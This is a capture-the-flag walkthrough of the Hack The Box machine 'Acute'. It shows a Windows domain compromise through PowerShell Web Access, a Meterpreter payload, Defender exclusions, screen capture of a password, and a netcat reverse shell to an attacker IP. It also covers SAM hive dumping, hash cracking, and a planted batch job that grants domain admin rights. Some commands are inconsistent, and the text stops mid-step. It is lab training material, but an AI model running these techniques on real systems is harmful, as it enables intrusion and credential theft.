htb-acute

HTB-ACUTE

Recon

nmap

nmap finds a single open TCP port, HTTPS (443):

┌──(puck㉿kali)-[~/htb/acute]
└─$ nmap -Pn -sC -sV 10.10.11.145 -oN acute.htb          
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-26 10:25 CET
Nmap scan report for 10.10.11.145
Host is up (0.0097s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after:  2030-01-04T06:34:58
|_http-title: Not Found
|_ssl-date: 2025-02-26T09:26:13+00:00; -1s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.06 seconds

.

There is a certificate with the name atsserver.acute.local. I’ll add that and acute.local and acute to my /etc/hosts file:

10.10.11.145 atsserver.acute.local acute.local

I’ll try fuzzing for other subdomains of acute.local with wfuzz, but not find any.

Website – TCP 443

Site

Visiting https://acute.local returns a 404:

image-20220605204704019But visiting https://atsserver.acute.local returns a site for a healthcare professional development company:

Most of the links on the page either point back to this page, or 404. But the “About Us” link at the top goes to /about.html:

This page is largely uninteresting as well, with all but one of the links pointing back to the root, or at this page. At the top right, there’s a link to “New Starter Forms” which downloads New_Starter_CheckList_v7.docx.

There’s also a section that lists the users for the site:

image-20220605205327299

I’ll record these users’ names, and look for some way to figure out how to convert them to usernames.

 

Shell as edavies on Acute-PC01

New_Starter_Checklist_v7.docx

Contents

The document is three pages of instructions for a new joiner to the organization:

There are a bunch of bits of information to capture:

link : https://atsserver.acute.local/Acute_Staff_Access

and

Arrange for the new starter to receive a demonstration on using IT tools which may include MUSE, myJob and Google accounts. Walk the new starter through the password change policy, they will need to change it from the default Password1!. Not all staff are changing these so please be sure to run through this.


Metadata

The Word document metadata has some additional clues that will prove useful:

┌──(puck㉿kali)-[~/htb/acute]
└─$ exiftool New_Starter_CheckList_v7.docx
ExifTool Version Number         : 12.57
File Name                       : New_Starter_CheckList_v7.docx
Directory                       : .
File Size                       : 35 kB
File Modification Date/Time     : 2025:02:26 11:04:38+01:00
File Access Date/Time           : 2025:02:26 11:04:38+01:00
File Inode Change Date/Time     : 2025:02:26 11:04:45+01:00
File Permissions                : -rw-rw-r--
File Type                       : DOCX
File Type Extension             : docx
Zip Uncompressed Size           : 2527
Zip File Name                   : [Content_Types].xml
Creator                         : FCastle
Description                     : Created on Acute-PC01
Last Modified By                : Daniel
Revision Number                 : 8
Last Printed                    : 2021:01:04 15:54:00Z
Create Date                     : 2021:12:08 14:21:00Z
Modify Date                     : 2021:12:22 00:39:00Z

.

The creator is FCastle. That doesn’t match up nicely with any name on the site, but it does lend a hint at the username format of first initial plus last name. There’s also a description that says “Created on Acute-PC01”, which gives a hostname.

PowerShell Web Access

Find Creds

The link for remote access is an instance of PowerShell Web Access (PSWA):

image-20220607123956655

From the users on the webpage, I’ll generate the following usernames using the format from the metadata:

awallace
chall
edavies
imonks
jmorgan
lhopkins

I’ve also got the default password, “Password1!”. While I could set up something like hydra to brute force them all, it’ll be just as fast to just try them.

PWSA also requires a computer name. I’ll start with atsserver.

For all but one, the result looked like this:

image-20220607124341614

However, for edavies, it was different:

image-20220607124356392

That’s an information leak that the username/password worked, but the computer was wrong.

Find Computer

I’ll try again with the same creds, but use the computer name from the metadata, “Acute-PC01”. It works:

image-20220607124505230

Meterpreter

Strategy

Enumerating through this web access console is a bit of a pain. When I go to run WinPEAS in a bit, the output is messed up, and the history too short to see it all. I’m going to use this access to get a reverse shell.

Typically I try to avoid using Meterpreter on HTB machines because (a) I like to understand what’s going on to better learn, and (b) many people reading writeups are practicing for exams where Meterpreter is not allowed / limited.

That said, there’s a step coming that is made possible (or at least significantly easier) with Meterpreter, so I’ll use that here.

Generate Payload

I’ll use msfvenom to generate a reverse shell using Meterpreter in an executable format:\

┌──(puck㉿kali)-[~/htb/acute]
└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.4 LPORT=1337 -f exe > shell.exe 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200774 bytes
Final size of exe file: 207360 bytes

 

I don’t have to worry about any obfuscation or encoding, as I will find in a minute a Defender-free folder to stage from. I’m using a high port so I don’t have to start msfconsole as root.

Start Listener

┌──(puck㉿kali)-[~/htb/acute]
└─$ msfconsole -qx "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.14.4; set LPORT 4444; run"

Then, we open up Msfconsole and configure our listener.

use exploit/multi/handler
set lhost tun0
set lport 1337
set payload windows/meterpreter/reverse_tcp
run

 

Upload and Execution – Fail

I’ll use a Python webserver to host the executable, and fetch it into C:\ProgramData with wget:

PS wget 10.10.14.2:8000/shell.exe -outfile s.exe

Once it’s there, I’ll run it:

PS C:\programdata> .\s.exe
Program 's.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software.
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException 
    + FullyQualifiedErrorId : NativeCommandFailed 

It fails because of AV.

Defender Bypass

C:\Utils looks empty, but running with -force shows a single hidden file:

PS C:\Utils> ls -force

    Directory: C:\Utils

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-h--        12/21/2021   6:41 PM            148 desktop.ini
 
PS C:\Utils> 
cat .\desktop.ini
[.ShellClassInfo]
InfoTip=Directory for Testing Files without Defender

The registry confirms this:

PS C:\Utils> 
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
    C:\Utils    REG_DWORD    0x0
    C:\Windows\System32    REG_DWORD    0x0

There are actually two, but I can’t write to C:\Windows\System32 as a non-privileged user.

Upload and Execution

I’ll upload the reverse shell again, this time into C:\Utils:

PS C:\Utils> wget 10.10.14.2/shell.exe -outfile s.exe

Once it’s there, I’ll run it:

PS C:\Utils> .\r.exe

It hangs there without returning, but at msfconsole:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.2:1337 
[*] Sending stage (175686 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.2:1337 -> 10.10.11.145:49849) at 2025-02-26 12:49:49 +0100

meterpreter > getuid
Server username: ACUTE\edavies
meterpreter > 

.

PowerShell

Meterpreter has a PowerShell module that typically can load the .NET Common Language Runtime (CLR) and interact with the Windows API. It’s invoked with load powershell. For some reason, it fails here:

Instead, to drop to a PowerShell shell, I’ll run shell (which spawns a cmd.exe process), and then powershell from there:

Execution as imonk on ATSSERVER

Enumeration

Container / VM

ipconfig shows the IP for this host is 172.16.22.2:

PS C:\Utils> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::9513:4361:23ec:64fd%14
   IPv4 Address. . . . . . . . . . . : 172.16.22.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 172.16.22.1

The gateway, and likely host machine, is 172.16.22.1. The only other hostname I’ve seen is ATSSERVER, which ping shows is that .1 host:

PS C:\Utils> ping atsserver

Pinging ATSSERVER.acute.local [172.16.22.1] with 32 bytes of data:
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128
Reply from 172.16.22.1: bytes=32 time<1ms TTL=128

Ping statistics for 172.16.22.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

File System

The host itself is pretty empty. There are other users on the box:

PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        12/21/2021   1:01 PM                administrator.ACUTE
d-----        12/22/2021   1:26 AM                edavies
d-----        12/21/2021  10:50 PM                jmorgan
d-----        11/19/2021   9:29 AM                Natasha
d-r---        11/18/2020  11:43 PM                Public

But nothing interesting I can access.

WinPEAS

I’ll grab the latest copy of WinPEAS from the release page, upload that to Acute, and run it:

PS C:\Utils> .\wp.exe
...[snip]...

There’s a section that’s easy to miss, but very interesting:

image-20220607135154606

It’s saying there’s an RDP session. This could also be seen without WinPeas by running qwinsta /server:127.0.0.1:

PS C:\Utils> qwinsta /server:127.0.0.1
 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE 
 console           edavies                   1  Active 

It’s not actually detecting RDP, but rather an interactive logged on session as edavies. Because it’s interactive, I know it’s not my session. WinPeas is using WTSEnumerateSessionsEx (docs, source), which I believe is what qwinsta uses as well. This reports on sessions on this host, and there isn’t anyone RDPed into this host. Still, knowing edavies is logged in is a good clue to proceed on.

screenshare

Meterpreter has a screenshare function that takes screenshots of the active desktop at a regular interval, and allows the attacker to watch like a live stream.

On running it, it pops up an HTML page in Firefox that is showing the desktop:

image-20220607135827436

After a few minutes, a PowerShell terminal opens as edavies. This user creates a PowerShell credential object, and uses it to connect to the atsserver machine as the imonks user:

image-20220607140713237

 

There are several important bits here:

  • The user is acute\imonks with the passwrd “w3_4R3_th3_f0rce.”.
  • edavies is trying to authenticate to ATSSERVER.
  • edavies is trying to use the dc_manage configuration mentioned above.

Execution

I’ll create a credential object for use on ATSSERVER:

PS C:\Utils> $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
PS C:\Utils>Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
acute\imonks

Note: we used the Invoke-Command cmdlet instead of enter-psession because we are already in a
pssession and it’s not possible to chain sessions together.

Failed PSSesssion

If I try to initiate a PSSession on the remote host, it rejects as Access Denied:

PS C:\Utils> Enter-PSSession -ComputerName ATSSERVER -Credential $cred
Enter-PSSession : Connecting to remote server ATSSERVER failed with the following error message : Access is denied. 
For more information, see the about_Remote_Troubleshooting Help topic.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSSERVER -Credential $cred
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (ATSSERVER:String) [Enter-PSSession], PSRemotingTransportException
    + FullyQualifiedErrorId : CreateRemoteRunspaceFailed

I noticed the references to using the dc_manage configuration. It’s possible that imonks is only allowed to connect with that config. Specifying that gives a different error message:

PS C:\Utils> Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet, function, script file, or 
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try 
again.
At line:1 char:1
+ Enter-PSSession -ComputerName ATSSERVER -Credential $cred -Configurat ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Measure-Object:String) [Enter-PSSession], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

It’s failing because imonks doesn’t have access to the Measure-Object cmdlet. This could be an issue with the dc_manage configuration, or perhaps an issue with the Kerberos Double Hop (or both).

Invoke-Command

A simpler attempt is to just run a command using Invoke-Command. This works:

PS C:\Utils> Invoke-Command -ScriptBlock { whoami } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
acute\imonks

This is enough to read user.txt:

PS C:\utils> Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
8eaccdb7d1d9c98757afe9366239d6dc
PS C:\utils> 

.

Shell as jmorgan on Acute-PC01

Enumeration

Limited Shell

To enumerate further, first I need to understand what commands I have access to in this configuration. Get-Command will tell me that:

PS C:\Utils> Invoke-Command -ScriptBlock { Get-Command } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

CommandType     Name                                               Version    Source               PSComputerName      
-----------     ----                                               -------    ------               --------------      
Cmdlet          Get-Alias                                          3.1.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Get-ChildItem                                      3.1.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Get-Command                                        3.0.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Get-Content                                        3.1.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Get-Location                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Set-Content                                        3.1.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Set-Location                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER           
Cmdlet          Write-Output                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER

I’ll also look at Get-Alias to see what are set:

PS C:\Utils> Invoke-Command -ScriptBlock { Get-Alias } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

CommandType     Name                                               Version    Source               PSComputerName      
-----------     ----                                               -------    ------               --------------      
Alias           cat -> Get-Content                                                                 ATSSERVER           
Alias           cd -> Set-Location                                                                 ATSSERVER           
Alias           echo -> Write-Output                                                               ATSSERVER           
Alias           ls -> Get-ChildItem                                                                ATSSERVER           
Alias           pwd -> Get-Location                                                                ATSSERVER           
Alias           sc -> Set-Content                                                                  ATSSERVER           
Alias           type -> Get-Content                                                                ATSSERVER

Program Files

It’s always worth looking at installed programs in C:\program files (and C:\program files (x86)):

PS C:\Utils> Invoke-Command -ScriptBlock { ls '\program files' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

    Directory: C:\program files

Mode                 LastWriteTime         Length Name                               PSComputerName                    
----                 -------------         ------ ----                               --------------                    
d-----        21/12/2021     00:04                common files                       ATSSERVER                         
d-----        21/12/2021     00:11                Hyper-V                            ATSSERVER                         
d-----        15/09/2018     08:12                internet explorer                  ATSSERVER                         
d-----        01/02/2022     19:41                keepmeon                           ATSSERVER                         
d-----        21/12/2021     00:04                VMware                             ATSSERVER                         
d-----        20/12/2021     21:19                Windows Defender                   ATSSERVER                         
d-----        20/12/2021     21:12                Windows Defender Advanced Threat   ATSSERVER                         
                                                  Protection
d-----        21/12/2021     14:13                WindowsPowerShell                  ATSSERVER

Hyper-V is likely the virtualization technology to get nested Windows hosts like this. keepmeon is not something I’m familiar with.

Unfortunately, imonks is not able to access it:

PS C:\Utils> Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Access to the path 'C:\program files\keepmeon' is denied.
    + CategoryInfo          : PermissionDenied: (C:\program files\keepmeon:String) [Get-ChildItem], UnauthorizedAccess 
   Exception
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
    + PSComputerName        : ATSSERVER

Desktop

In addition to user.txt, there’s another file on imonk’s desktop:

PS C:\Utils> Invoke-Command -ScriptBlock { ls ..\desktop } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

    Directory: C:\Users\imonks\desktop

Mode                 LastWriteTime         Length Name                               PSComputerName                    
----                 -------------         ------ ----                               --------------                    
-ar---        05/06/2022     22:16             34 user.txt                           ATSSERVER                         
-a----        11/01/2022     18:04            602 wm.ps1                             ATSSERVER

It has credentials for jmorgan back on Acute-PC01:

PS C:\utils> Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
PS C:\utils> 

Reviewing the script, it seems that imonks is using it to execute a Get-Volume command on Acute-PC01 ,our current workstation, as jmorgan . Looking at the local Administrators group we can see that
jmorgan is in fact a local administrator.

jmorgan

I’m not able to get to the DC to get information about jmorgan:

PS C:\Utils> net user jmorgan /domain
net user jmorgan /domain
The request will be processed at a domain controller for domain acute.local.

System error 1722 has occurred.

The RPC server is unavailable.

But, it does seem that domain user is in the local administrator group for Acute-PC01:

PS C:\Utils> net localgroup Administrators
net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
ACUTE\Domain Admins
ACUTE\jmorgan
Administrator
The command completed successfully.

That explains why they may be able to run Get-Volume whereas edavies cannot:

PS C:\Utils> Get-Volume
Get-Volume : Cannot connect to CIM server. Access denied 
At line:1 char:1
+ Get-Volume
+ ~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (MSFT_Volume:String) [Get-Volume], CimJobException
    + FullyQualifiedErrorId : CimJob_BrokenCimSession,Get-Volume

Execution

#Failure

PS C:\Utils> Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c
0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
The term 'ConvertTo-SecureString' is not recognized as the name of a cmdlet, function, script file, or operable 
program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
    + CategoryInfo          : ObjectNotFound: (ConvertTo-SecureString:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
    + PSComputerName        : ATSSERVER
  
The term 'New-Object' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the 
spelling of the name, or if a path was included, verify that the path is correct and try again.
    + CategoryInfo          : ObjectNotFound: (New-Object:String) [], CommandNotFoundException                                                                                                                     
    + FullyQualifiedErrorId : CommandNotFoundException                                              
    + PSComputerName        : ATSSERVER
                       
You cannot call a method on a null-valued expression.
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
    + PSComputerName        : ATSSERVER

Because ConvertTo-SecureString isn’t defined in this profile, I can’t run it. It is interesting to note that I was able to run it from within a script.

Modify Script

1st PS C:\Utils> wget 10.10.14.2:8000/nc64.exe -outfile nc64.exe

I’ve got access to Get-Content (cat) and Set-Content (sc), so I can relatively easily create a new script. I could have it call r.exe again (since I’m executing on the same box I’m already on), but I don’t want to drop out of my PowerShell session to start a new listener. I’ll upload nc64.exe to C:\utils and have the script call that:

PS C:\Utils> Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\nc64.exe -e cmd 10.10.14.2 443') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

Now the script creates a reverse shell to me:

PS C:\utils> Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {C:\utils\nc64.exe -e cmd 10.10.14.2 443} -ComputerName Acute-PC01 -Credential $creds

I’ll start nc and run it:

PS C:\Utils> Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

It hangs, but there’s a shell at nc:

┌──(puck㉿kali)-[~/htb/acute]
└─$ rlwrap nc -nlvp 443                        
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.145] 49853
Microsoft Windows [Version 10.0.19044.1466]
(c) Microsoft Corporation. All rights reserved.

C:\Users\jmorgan\Documents>whoami
whoami
acute\jmorgan

C:\Users\jmorgan\Documents>

 

Alternatively, I could modify it to add edavies to the administrators group, and get equivalent access.

Execution as awallace on ATSSERVER

Get Password

Dump Hives

As a local administrator on Acute-PC01, jmorgan can create backups of the registry hives:

PS C:\Utils> reg save HKLM\sam sam.bak
The operation completed successfully.
PS C:\Utils> reg save HKLM\system sys.bak
The operation completed successfully.

If I want copies, I have to create copies, as I can’t directory open the running hive files.

Since I have a Meterpreter session on the box, I’ll use that to download the files:

meterpreter > download sam.bak
[*] Downloading: sam.bak -> /home/puck/htb/acute/sam.bak
[*] Downloaded 56.00 KiB of 56.00 KiB (100.0%): sam.bak -> /home/puck/htb/acute/sam.bak
[*] Completed  : sam.bak -> /home/puck/htb/acute/sam.bak
meterpreter > download sys.bak
[*] Downloading: sys.bak -> /home/puck/htb/acute/sys.bak
..snip
[*] Downloaded 11.58 MiB of 11.58 MiB (100.0%): sys.bak -> /home/puck/htb/acute/sys.bak
[*] Completed  : sys.bak -> /home/puck/htb/acute/sys.bak
meterpreter > 

 

Get Hashes

I’ll use secretsdump.py (part of Impacket) to get hashes from these hives in LOCAL mode:

┌──(puck㉿kali)-[~/htb/acute]
└─$ impacket-secretsdump -sam sam.bak -system sys.bak LOCAL 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x44397c32a634e3d8d8f64bff8c614af7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
[*] Cleaning up... 

 

Crack

I’ll save the hashes to a file, and use hashcat to run rockyou.txt over them:

┌──(puck㉿kali)-[~/htb/acute]
└─$ hashcat acute-pc01.hashes.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

1000 | NTLM | Operating System

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

31d6cfe0d16ae931b73c59d7e0c089c0:                         
a29f7623fd11550def0192de9246f46b:Password@123

It cracks the empty password for Guest (normal), and “Password@123” for Administrator.

Password Reuse

I’ll first test these creds to see if any of the known users can log into PSWA, but none succeed. I do find that I’m able to run commands on ATSSERVER as awallace:

PS C:\Utils> $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
PS C:\Utils> $cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami } 
acute\awallace

Shell as Site Admin

Enumeration

With different credentials, I’ll try C:\program files\keepmeon again, and awallace can access it:

PS C:\Utils> Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

    Directory: C:\program files\keepmeon

Mode                 LastWriteTime         Length Name                               PSComputerName                    
----                 -------------         ------ ----                               --------------                    
-a----        21/12/2021     14:57            128 keepmeon.bat                       ATSSERVER

It’s a single .bat file, which awallace can read:

PS C:\Utils> invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {cat /"program files"/keepmeon/keepmeon.bat} -credential $cred

.

PS C:\utils> invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {cat /"program files"/keepmeon/keepmeon.bat} -credential $cred
invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {cat /"program files"/keepmeon/keepmeon.bat} -credential $cred
REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)
PS C:\utils> 

It’s simply looping over any .bat files in this directory, and if they aren’t this one, running them. The comment says it runs every five minutes, and it’s for Lois.

Site Admin

Enumeration

In the Word doc, there was a comment about how Lois could add people to become “site admin”. Looking at the groups for this domain, there’s one called Site_Admin:

PS C:\Utils> Invoke-Command -ScriptBlock { net group /domain  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

Group Accounts for \\

-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Key Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Managers
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Site_Admin
The command completed with one or more errors.

It’s description says it’s for emergencies and has access to Domain Admins:

PS C:\Utils> Invoke-Command -ScriptBlock { net group Site_Admin /domain  } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Group name     Site_Admin
Comment        Only in the event of emergencies is this to be populated. This has access to Domain Admin group

Members

-------------------------------------------------------------------------------
The command completed successfully.

Add awallace

Given that .bat scripts are being run by Lois every five minutes, I’ll write a script to add awallace to Site_Admin:

PS C:\utils> Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\0xdf.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\0xdf.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred

PS C:\utils> Invoke-Command -ScriptBlock { cat '\program files\keepmeon\0xdf.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat '\program files\keepmeon\0xdf.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
net group site_admin awallace /add /domain
PS C:\utils>

I’ll note there’s no members of Site_Admin above (it’s only for emergencies), but after a few minutes, awallace is added:

PS C:\Utils> Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Group name     Site_Admin
Comment        Only in the event of emergencies is this to be populated. This has access to Domain Admin group

Members

-------------------------------------------------------------------------------
awallace                 
The command completed successfully.

PS C:\Utils>

That’s actually enough to read root.txt:

PS C:\Utils> Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred 
Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred 
12465d70b1c648fbd47c58fa62b9b92c
PS C:\Utils> 

 

Shell

From here, it should be possible to get a shell. As a member of Site_Admin, awallace can now connect without the dc_manage configuration, opening all sorts of commands and privileges:

These permissions do get reset periodically, so I’ll try adding another user:

PS C:\Utils> Invoke-Command -ScriptBlock { net user 0xdf abcdABCD1234!@#$ /add /domain /Y } -ComputerName ATSSERVER -Credential $cred
The command completed successfully.

(This took me many tries to get the password complexity enough and add /Y to override a prompt.)

And adding it to Domain Admins:

PS C:\Utils> Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred
Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred
The command completed successfully.

But these users get flushed periodically as well.

Back to awallace, I’ll upload nc64.exe and call it:

